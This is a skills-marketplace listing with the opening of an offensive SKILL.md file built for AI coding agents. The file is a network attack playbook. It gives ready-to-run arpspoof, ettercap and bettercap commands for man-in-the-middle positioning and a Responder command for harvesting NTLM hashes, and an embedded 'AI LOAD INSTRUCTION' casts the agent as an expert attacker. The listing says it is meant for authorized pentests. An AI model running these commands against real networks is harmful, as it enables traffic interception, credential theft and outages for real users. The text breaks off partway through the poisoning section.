# network-protocol-attacks

A playbook for network protocol attacks: ARP spoofing, LLMNR and NBT-NS poisoning, WPAD abuse, DHCPv6 takeover, VLAN hopping. Built for internal pentests.

- skill · `type=skill` · Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, OpenCode · 3600 installs · ★ 2547
- Author: yaklang
- License: MIT · policy=mirror · the beginning of the file is at the end of this page
- Source: https://github.com/yaklang/hack-skills/tree/HEAD/skills/network-protocol-attacks/SKILL.md
- Updated: 2026-09-13
- HTML: https://affpapa.org/en/nevibecode/skills/network-protocol-attacks

## What it does

The skill covers layer 2 and layer 3 protocol exploitation. Inside are ready commands for `arpspoof`, `ettercap`, `bettercap`, `responder`, `mitm6`, `ntlmrelayx.py`, `yersinia` and the THC-IPv6 suite. Separate sections handle credential capture through name resolution poisoning, WPAD interception, DHCPv6 takeover and IDS/IPS evasion.

It also routes you onward: `tunneling-and-pivoting` once you hold a MitM position, `ntlm-relay-coercion` for relaying captured hashes, `traffic-analysis-pcap` for reading the traffic you grabbed. Hash formats come with hashcat modes, and the relay section spells out the conditions each attack needs.

This is offensive tooling, not a configuration audit. Several techniques die against hardening: SMB signing and LDAP signing kill the relay, BPDU Guard and `switchport nonegotiate` close off STP and DTP. ARP spoofing and DHCPv6 poisoning take the network down for real users, so get written authorization before you run any of it.

## Install

### Claude Code (native platform)

1. **Skills CLI (Vercel)**
```bash
npx skills add yaklang/hack-skills --skill network-protocol-attacks -a claude-code
```

2. **Manually: put the files in place**
- File: `~/.claude/skills/network-protocol-attacks/SKILL.md` — Copy the whole skill folder; for one project use .claude/skills/network-protocol-attacks/

### Codex

1. **Skills CLI (Vercel)**
```bash
npx skills add yaklang/hack-skills --skill network-protocol-attacks -a codex
```

2. **Manually: put the files in place**
- File: `.agents/skills/network-protocol-attacks/SKILL.md` — For all projects use ~/.agents/skills/

### Cursor

1. **Skills CLI (Vercel)**
```bash
npx skills add yaklang/hack-skills --skill network-protocol-attacks -a cursor
```

2. **Manually: put the files in place**
- File: `.cursor/skills/network-protocol-attacks/SKILL.md` — Cursor also reads .agents/skills/ and .claude/skills/

### GitHub Copilot

1. **GitHub CLI**
```bash
gh skill install yaklang/hack-skills network-protocol-attacks
```

2. **Manually: put the files in place**
- File: `.github/skills/network-protocol-attacks/SKILL.md`

### Gemini CLI

1. **Skills CLI (Vercel)**
```bash
npx skills add yaklang/hack-skills --skill network-protocol-attacks -a gemini-cli
```

2. **Platform CLI**
```bash
gemini skills install https://github.com/yaklang/hack-skills --path skills/network-protocol-attacks
```

### Windsurf (Devin Desktop)

**Manually: put the files in place**
- File: `.devin/skills/network-protocol-attacks/SKILL.md` — The legacy .windsurf/skills/ path still works

### OpenCode

**Skills CLI (Vercel)**
```bash
npx skills add yaklang/hack-skills --skill network-protocol-attacks -a opencode
```

### Claude.ai

**Claude.ai**
- Zip the folder and upload it in Settings → Capabilities → Skills

Where a file is given instead of a command, copy the files from the source to that path: https://github.com/yaklang/hack-skills/tree/HEAD/skills/network-protocol-attacks/SKILL.md

## When to use it
- intercept traffic between a victim and the gateway with ARP spoofing
- harvest NTLM hashes by poisoning LLMNR, NBT-NS and mDNS
- stand up DHCPv6 and redirect Windows DNS queries
- cross into another VLAN via DTP or 802.1Q double tagging
- claim the STP root bridge and pull traffic through your host

## Example prompts
- walk me through ARP spoofing with bettercap against 10.0.0.50
- how do I configure responder to capture NTLM hashes on this segment
- explain the mitm6 and ntlmrelayx chain for relaying to LDAP

## Source text · SKILL.md · MIT

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name: network-protocol-attacks
description: >-
  Network protocol attack playbook. Use when exploiting layer 2/3 protocols including ARP spoofing, LLMNR/NBT-NS/mDNS poisoning, WPAD abuse, DHCPv6 attacks, VLAN hopping, STP manipulation, DNS spoofing, IPv6 attacks, and IDS/IPS evasion.
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# SKILL: Network Protocol Attacks — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert network protocol attack techniques. Covers ARP spoofing, name resolution poisoning (LLMNR/NBT-NS/mDNS), WPAD abuse, DHCPv6 takeover, VLAN hopping, STP manipulation, DNS spoofing, IPv6 attacks, and IDS/IPS evasion. Base models miss the chaining opportunities between these attacks and the nuances of modern switched network exploitation.

## 0. RELATED ROUTING

Before going deep, consider loading:

- [tunneling-and-pivoting](../tunneling-and-pivoting/SKILL.md) after establishing MitM position for traffic redirection
- [ntlm-relay-coercion](../ntlm-relay-coercion/SKILL.md) for relaying captured NTLM hashes from poisoning attacks
- [unauthorized-access-common-services](../unauthorized-access-common-services/SKILL.md) for exploiting services discovered during network attacks
- [traffic-analysis-pcap](../traffic-analysis-pcap/SKILL.md) for analyzing captured traffic from MitM

### Advanced Reference

Also load [NAME_RESOLUTION_POISONING.md](./NAME_RESOLUTION_POISONING.md) when you need:
- Detailed Responder/mitm6 configuration and workflows
- NTLM relay target selection and chaining
- Credential format analysis and cracking priorities

---

## 1. ARP SPOOFING

### Gratuitous ARP — MitM Positioning

```bash
# arpspoof (dsniff suite)
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP &
arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP &

# ettercap — ARP poisoning with sniffing
ettercap -T -q -i eth0 -M arp:remote /VICTIM_IP// /GATEWAY_IP//

# bettercap — modern framework
bettercap -iface eth0
> set arp.spoof.targets VICTIM_IP
> arp.spoof on
> net.sniff on
```

### Selective Targeting

```bash
# bettercap — target specific hosts, avoid detection
> set arp.spoof.targets 10.0.0.50,10.0.0.51
> set arp.spoof.fullduplex true
> set arp.spoof.internal true
> arp.spoof on
```

### Detection Indicators

- Duplicate MAC addresses in ARP table
- Gratuitous ARP storms from non-gateway IPs
- Tools: `arpwatch`, static ARP entries, 802.1X port authentication

---

## 2. LLMNR / NBT-NS / mDNS POISONING

### Responder — Credential Capture

```bash
# Basic poisoning (LLMNR + NBT-NS + mDNS)
responder -I eth0 -dwPv

# Key flags:
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